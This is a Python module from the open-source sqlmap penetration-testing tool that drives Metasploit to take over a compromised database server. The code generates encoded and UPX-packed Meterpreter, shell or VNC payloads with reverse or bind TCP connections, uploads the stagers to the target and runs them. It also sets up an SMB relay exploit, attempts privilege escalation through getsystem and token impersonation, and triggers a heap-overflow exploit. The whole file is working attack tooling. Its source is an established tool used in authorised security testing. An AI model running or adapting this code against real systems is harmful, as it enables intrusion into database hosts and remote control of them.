#!/usr/bin/env python

"""
$Id$

Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""

import codecs
import os
import re
import stat
import sys
import time

from select import select
from subprocess import PIPE
from subprocess import Popen as execute

from lib.core.common import dataToStdout
from lib.core.common import Backend
from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP
from lib.core.common import getUnicode
from lib.core.common import normalizePath
from lib.core.common import ntToPosixSlashes
from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.exception import sqlmapDataException
from lib.core.exception import sqlmapFilePathException
from lib.core.settings import UNICODE_ENCODING
from lib.core.subprocessng import blockingReadFromFD
from lib.core.subprocessng import blockingWriteToFD
from lib.core.subprocessng import pollProcess
from lib.core.subprocessng import setNonBlocking
from lib.request.connect import Connect as Request
from lib.takeover.upx import upx


class Metasploit:
    """
    This class defines methods to call Metasploit for plugins.
    """

    def __initVars(self):
        self.connectionStr  = None
        self.lhostStr       = None
        self.rhostStr       = None
        self.portStr        = None
        self.payloadStr     = None
        self.encoderStr     = None
        self.payloadConnStr = None
        self.resourceFile   = None
        self.localIP        = getLocalIP()
        self.remoteIP       = getRemoteIP()
        self.__msfCli       = normalizePath(os.path.join(conf.msfPath, "msfcli"))
        self.__msfConsole   = normalizePath(os.path.join(conf.msfPath, "msfconsole"))
        self.__msfEncode    = normalizePath(os.path.join(conf.msfPath, "msfencode"))
        self.__msfPayload   = normalizePath(os.path.join(conf.msfPath, "msfpayload"))

        self.__msfPayloadsList    = {
                                      "windows": {
                                                   1: ( "Meterpreter (default)", "windows/meterpreter" ),
                                                   2: ( "Shell", "windows/shell" ),
                                                   3: ( "VNC", "windows/vncinject" ),
                                                 },
                                      "linux":   {
                                                   1: ( "Shell", "linux/x86/shell" ),
                                                 }
                                    }

        self.__msfConnectionsList = {
                                      "windows": {
                                                   1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
                                                   2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
                                                   3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" )
                                                 },
                                      "linux":   {
                                                   1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
                                                   2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
                                                 }
                                    }

        self.__msfEncodersList    = {
                                      "windows": {
                                                   1: ( "No Encoder", "generic/none" ),
                                                   2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
                                                   3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
                                                   4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
                                                   5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
                                                   6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
                                                   7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
                                                   8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
                                                   9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
                                                  10: ( "Non-Upper Encoder", "x86/nonupper" ),
                                                  11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
                                                  12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
                                                  13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
                                                 }
                                    }

        self.__msfSMBPortsList    = {
                                      "windows": {
                                                   1: ( "139/TCP", "139" ),
                                                   2: ( "445/TCP (default)", "445" ),
                                                 }
                                    }

        self.__portData           = {
                                      "bind":    "remote port number",
                                      "reverse": "local port number",
                                    }

    def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
        if kb.os == "Windows":
            opSys = "windows"
        else:
            opSys = "linux"

        message = "which %s do you want to use?" % msg

        if lst:
            for num, data in lst[opSys].items():
                description = data[0]

                if num > maxValue:
                    maxValue = num

                if "(default)" in description:
                    default = num

                message += "\n[%d] %s" % (num, description)
        else:
            message += " [%d] " % default

        choice = readInput(message, default="%d" % default)

        if not choice:
            if lst:
                choice = getUnicode(default, UNICODE_ENCODING)
            else:
                return default

        elif not choice.isdigit():
            logger.warn("invalid value, only digits are allowed")
            return self.__skeletonSelection(msg, lst, maxValue, default)

        elif int(choice) > maxValue or int(choice) < 1:
            logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
            return self.__skeletonSelection(msg, lst, maxValue, default)

        choice = int(choice)

        if lst:
            choice = lst[opSys][choice][1]

        return choice

    def __selectSMBPort(self):
        return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)

    def __selectEncoder(self, encode=True):
        if isinstance(encode, basestring):
            return encode

        elif kb.os == "Windows" and encode:
            return self.__skeletonSelection("payload encoding", self.__msfEncodersList)

    def __selectPayload(self):
        if kb.os == "Windows" and conf.privEsc:
            infoMsg  = "forcing Metasploit payload to Meterpreter because "
            infoMsg += "it is the only payload that can be used to "
            infoMsg += "escalate privileges, either via 'incognito' "
            infoMsg += "extension or via 'getsystem' command"
            logger.info(infoMsg)

            __payloadStr = "windows/meterpreter"

        else:
            __payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)

        if __payloadStr == "windows/vncinject":
            choose = False

            if Backend.getIdentifiedDbms() == DBMS.MYSQL:
                debugMsg  = "by default MySQL on Windows runs as SYSTEM "
                debugMsg += "user, it is likely that the the VNC "
                debugMsg += "injection will be successful"
                logger.debug(debugMsg)

            elif Backend.getIdentifiedDbms() == DBMS.PGSQL:
                choose = True

                warnMsg  = "by default PostgreSQL on Windows runs as "
                warnMsg += "postgres user, it is unlikely that the VNC "
                warnMsg += "injection will be successful"
                logger.warn(warnMsg)

            elif Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
                choose = True

                warnMsg  = "it is unlikely that the VNC injection will be "
                warnMsg += "successful because usually Microsoft SQL Server "
                warnMsg += "%s runs as Network Service " % Backend.getVersion()
                warnMsg += "or the Administrator is not logged in"
                logger.warn(warnMsg)

            if choose:
                message  = "what do you want to do?\n"
                message += "[1] Give it a try anyway\n"
                message += "[2] Fall back to Meterpreter payload (default)\n"
                message += "[3] Fall back to Shell payload"

                while True:
                    choice = readInput(message, default="2")

                    if not choice or choice == "2":
                        __payloadStr = "windows/meterpreter"

                        break

                    elif choice == "3":
                        __payloadStr = "windows/shell"

                        break

                    elif choice == "1":
                        if Backend.getIdentifiedDbms() == DBMS.PGSQL:
                            logger.warn("beware that the VNC injection might not work")

                            break

                        elif Backend.getIdentifiedDbms() == DBMS.MSSQL and Backend.isVersionWithin(("2005", "2008")):
                            break

                    elif not choice.isdigit():
                        logger.warn("invalid value, only digits are allowed")

                    elif int(choice) < 1 or int(choice) > 2:
                        logger.warn("invalid value, it must be 1 or 2")

        return __payloadStr

    def __selectPort(self):
        for connType, connStr in self.__portData.items():
            if self.connectionStr.startswith(connType):
                return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))

    def __selectRhost(self):
        if self.connectionStr.startswith("bind"):
            message = "which is the back-end DBMS address? [%s] " % self.remoteIP
            address = readInput(message, default=self.remoteIP)

            if not address:
                address = self.remoteIP

            return address

        elif self.connectionStr.startswith("reverse"):
            return None

        else:
            raise sqlmapDataException, "unexpected connection type"

    def __selectLhost(self):
        if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
            message = "which is the local address? [%s] " % self.localIP
            address = readInput(message, default=self.localIP)

            if not address:
                address = self.localIP

            return address

        elif self.connectionStr.startswith("bind"):
            return None

        else:
            raise sqlmapDataException, "unexpected connection type"

    def __selectConnection(self):
        return self.__skeletonSelection("connection type", self.__msfConnectionsList)

    def __prepareIngredients(self, encode=True):
        self.connectionStr  = self.__selectConnection()
        self.lhostStr       = self.__selectLhost()
        self.rhostStr       = self.__selectRhost()
        self.portStr        = self.__selectPort()
        self.payloadStr     = self.__selectPayload()
        self.encoderStr     = self.__selectEncoder(encode)

        if self.payloadStr == "linux/x86/shell":
            self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
        else:
            self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)

    def __forgeMsfCliCmd(self, exitfunc="process"):
        self.__cliCmd  = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
        self.__cliCmd += " EXITFUNC=%s" % exitfunc
        self.__cliCmd += " LPORT=%s" % self.portStr
        #self.__cliCmd += " ExitOnSession=true"

        if self.payloadStr == "windows/vncinject":
            self.__cliCmd += " DisableCourtesyShell=1"

        if self.connectionStr.startswith("bind"):
            self.__cliCmd += " RHOST=%s" % self.rhostStr
        elif self.connectionStr.startswith("reverse"):
            self.__cliCmd += " LHOST=%s" % self.lhostStr
        else:
            raise sqlmapDataException, "unexpected connection type"

        self.__cliCmd += " E"

    def __forgeMsfConsoleCmd(self):
        self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)

    def __forgeMsfConsoleResource(self):
        self.resourceFile = os.path.join(conf.outputPath, self.__randFile)

        self.__prepareIngredients(encode=False)

        self.__resource  = "use windows/smb/smb_relay\n"
        self.__resource += "set SRVHOST %s\n" % self.lhostStr
        self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
        self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
        self.__resource += "set LPORT %s\n" % self.portStr
        #self.__resource += "set ExitOnSession true\n"

        if self.connectionStr.startswith("bind"):
            self.__resource += "set RHOST %s\n" % self.rhostStr
        elif self.connectionStr.startswith("reverse"):
            self.__resource += "set LHOST %s\n" % self.lhostStr
        else:
            raise sqlmapDataException, "unexpected connection type"

        self.__resource += "exploit\n"

        self.resourceFp = codecs.open(self.resourceFile, "w", UNICODE_ENCODING)
        self.resourceFp.write(self.__resource)
        self.resourceFp.close()

    def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
        self.__payloadCmd  = "%s %s" % (self.__msfPayload, self.payloadConnStr)
        self.__payloadCmd += " EXITFUNC=%s" % exitfunc
        self.__payloadCmd += " LPORT=%s" % self.portStr
        #self.__payloadCmd += " ExitOnSession=true"

        if self.connectionStr.startswith("reverse"):
            self.__payloadCmd += " LHOST=%s" % self.lhostStr

        elif not self.connectionStr.startswith("bind"):
            raise sqlmapDataException, "unexpected connection type"

        if kb.os == "Windows" or extra == "BufferRegister=EAX":
            self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)

            if extra is not None:
                self.__payloadCmd += " %s" % extra
        else:
            self.__payloadCmd += " X > %s" % outFile

    def __runMsfCli(self, exitfunc):
        self.__forgeMsfCliCmd(exitfunc)

        infoMsg  = "running Metasploit Framework 3 command line "
        infoMsg += "interface locally, please wait.."
        logger.info(infoMsg)

        logger.debug("executing local command: %s" % self.__cliCmd)
        self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)

    def __runMsfConsole(self):
        infoMsg = "running Metasploit Framework 3 console locally, please wait.."
        logger.info(infoMsg)

        logger.debug("executing local command: %s" % self.__consoleCmd)
        self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)

    def __runMsfShellcodeRemote(self):
        infoMsg  = "running Metasploit Framework 3 shellcode "
        infoMsg += "remotely via UDF 'sys_bineval', please wait.."
        logger.info(infoMsg)

        self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")

    def __runMsfPayloadRemote(self):
        infoMsg  = "running Metasploit Framework 3 payload stager "
        infoMsg += "remotely, please wait.."
        logger.info(infoMsg)

        if kb.os != "Windows":
            self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)

        cmd = "%s &" % self.exeFilePathRemote

        self.execCmd(cmd, silent=True)

    def __loadMetExtensions(self, proc, metSess):
        if kb.os != "Windows":
            return

        if self.resourceFile is not None:
            proc.stdin.write("sessions -l\n")
            proc.stdin.write("sessions -i %s\n" % metSess)

        proc.stdin.write("use espia\n")
        proc.stdin.write("use incognito\n")
        proc.stdin.write("use priv\n")
        proc.stdin.write("use sniffer\n")
        proc.stdin.write("sysinfo\n")
        proc.stdin.write("getuid\n")

        if conf.privEsc:
            print

            infoMsg  = "trying to escalate privileges using Meterpreter "
            infoMsg += "'getsystem' command which tries different "
            infoMsg += "techniques, including kitrap0d"
            logger.info(infoMsg)

            proc.stdin.write("getsystem\n")

            infoMsg  = "displaying the list of Access Tokens availables. "
            infoMsg += "Choose which user you want to impersonate by "
            infoMsg += "using incognito's command 'impersonate_token' if "
            infoMsg += "'getsystem' does not success to elevate privileges"
            logger.info(infoMsg)

            proc.stdin.write("list_tokens -u\n")
            proc.stdin.write("getuid\n")


    def __controlMsfCmd(self, proc, func):
        stdin_fd = sys.stdin.fileno()
        setNonBlocking(stdin_fd)

        proc_out_fd = proc.stdout.fileno()
        setNonBlocking(proc_out_fd)

        while True:
            returncode = proc.poll()

            if returncode is None:
                # Child hasn't exited yet
                pass
            else:
                logger.debug("connection closed properly")
                return returncode

            try:
                ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)

                if stdin_fd in ready_fds[0]:
                    try:
                        proc.stdin.write(blockingReadFromFD(stdin_fd))
                    except IOError:
                        # Probably the child has exited
                        pass

                if proc_out_fd in ready_fds[0]:
                    out = blockingReadFromFD(proc_out_fd)
                    blockingWriteToFD(sys.stdout.fileno(), out)

                    # For --os-pwn and --os-bof
                    pwnBofCond  = self.connectionStr.startswith("reverse")
                    pwnBofCond &= "Starting the payload handler" in out

                    # For --os-smbrelay
                    smbRelayCond = "Server started" in out

                    if pwnBofCond or smbRelayCond:
                        func()

                    if "Starting the payload handler" in out and "shell" in self.payloadStr:
                        if kb.os == "Windows":
                            proc.stdin.write("whoami\n")
                        else:
                            proc.stdin.write("uname -a ; id\n")

                    metSess = re.search("Meterpreter session ([\d]+) opened", out)

                    if metSess:
                        self.__loadMetExtensions(proc, metSess.group(1))

            except EOFError:
                returncode = proc.wait()

                return returncode

    def createMsfShellcode(self, exitfunc, format, extra, encode):
        infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
        logger.info(infoMsg)

        self.__randStr = randomStr(lowercase=True)
        self.__shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)

        self.__initVars()
        self.__prepareIngredients(encode=encode)
        self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)

        logger.debug("executing local command: %s" % self.__payloadCmd)
        process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)

        dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
        pollProcess(process)
        payloadStderr = process.communicate()[1]

        if kb.os == "Windows" or extra == "BufferRegister=EAX":
            payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
        else:
            payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)

        if payloadSize:
            payloadSize = int(payloadSize.group(1))

            if extra == "BufferRegister=EAX":
                payloadSize = payloadSize / 2

            debugMsg = "the shellcode size is %d bytes" % payloadSize
            logger.debug(debugMsg)
        else:
            errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
            raise sqlmapFilePathException, errMsg

        self.__shellcodeFP = codecs.open(self.__shellcodeFilePath, "rb")
        self.shellcodeString = self.__shellcodeFP.read()
        self.__shellcodeFP.close()

        os.unlink(self.__shellcodeFilePath)

    def createMsfPayloadStager(self, initialize=True):
        if initialize:
            infoMsg = ""
        else:
            infoMsg = "re"

        infoMsg += "creating Metasploit Framework 3 payload stager"

        logger.info(infoMsg)

        self.__randStr = randomStr(lowercase=True)

        if kb.os == "Windows":
            self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s.exe" % self.__randStr)

            # Metasploit developers added support for the old exe format
            # to msfencode using '-t exe-small' (>= 3.3.3-dev),
            # http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
            # This is useful for sqlmap because on PostgreSQL it is not
            # possible to write files bigger than 8192 bytes abusing the
            # lo_export() feature implemented in sqlmap.
            if Backend.getIdentifiedDbms() == DBMS.PGSQL:
                self.__fileFormat = "exe-small"
            else:
                self.__fileFormat = "exe"
        else:
            self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
            self.__fileFormat = "elf"

        if initialize:
            self.__initVars()

        if self.payloadStr is None:
            self.__prepareIngredients()

        self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)

        logger.debug("executing local command: %s" % self.__payloadCmd)
        process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)

        dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
        pollProcess(process)
        payloadStderr = process.communicate()[1]

        if kb.os == "Windows":
            payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
        else:
            payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)

        os.chmod(self.exeFilePathLocal, stat.S_IRWXU)

        if payloadSize:
            payloadSize = payloadSize.group(1)
            exeSize = os.path.getsize(self.exeFilePathLocal)

            # Only pack the payload stager if the back-end DBMS operating
            # system is Windows and new portable executable template is
            # used
            if self.__fileFormat == "exe":
                packedSize = upx.pack(self.exeFilePathLocal)
            else:
                packedSize = None

            debugMsg = "the encoded payload size is %s bytes, " % payloadSize

            if packedSize and packedSize < exeSize:
                debugMsg += "as a compressed portable executable its size "
                debugMsg += "is %d bytes, decompressed it " % packedSize
                debugMsg += "was %s bytes large" % exeSize
            else:
                debugMsg += "as a portable executable its size is "
                debugMsg += "%s bytes" % exeSize

            logger.debug(debugMsg)
        else:
            errMsg = "failed to create the payload stager (%s)" % payloadStderr
            raise sqlmapFilePathException, errMsg

    def uploadMsfPayloadStager(self, web=False):
        if web:
            self.exeFilePathRemote = "%s/%s" % (self.webDirectory, os.path.basename(self.exeFilePathLocal))
        else:
            self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))

        self.exeFilePathRemote = ntToPosixSlashes(normalizePath(self.exeFilePathRemote))

        logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)

        if web:
            self.webFileUpload(self.exeFilePathLocal, self.exeFilePathRemote, self.webDirectory)
        else:
            self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)

        os.unlink(self.exeFilePathLocal)

    def pwn(self, goUdf=False):
        if goUdf:
            exitfunc = "thread"
            func = self.__runMsfShellcodeRemote
        else:
            exitfunc = "process"
            func = self.__runMsfPayloadRemote

        self.__runMsfCli(exitfunc=exitfunc)

        if self.connectionStr.startswith("bind"):
            func()

        debugMsg  = "Metasploit Framework 3 command line interface exited "
        debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
        logger.debug(debugMsg)

        if not goUdf:
            time.sleep(1)
            self.delRemoteFile(self.exeFilePathRemote)

    def smb(self):
        self.__initVars()
        self.__randFile = "tmpu%s.txt" % randomStr(lowercase=True)

        self.__forgeMsfConsoleResource()
        self.__forgeMsfConsoleCmd()

        if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
            self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
        else:
            self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)

        self.__runMsfConsole()

        debugMsg  = "Metasploit Framework 3 console exited with return "
        debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
        logger.debug(debugMsg)

        os.unlink(self.resourceFile)

    def bof(self):
        self.__runMsfCli(exitfunc="seh")

        if self.connectionStr.startswith("bind"):
            self.spHeapOverflow()

        debugMsg  = "Metasploit Framework 3 command line interface exited "
        debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
        logger.debug(debugMsg)
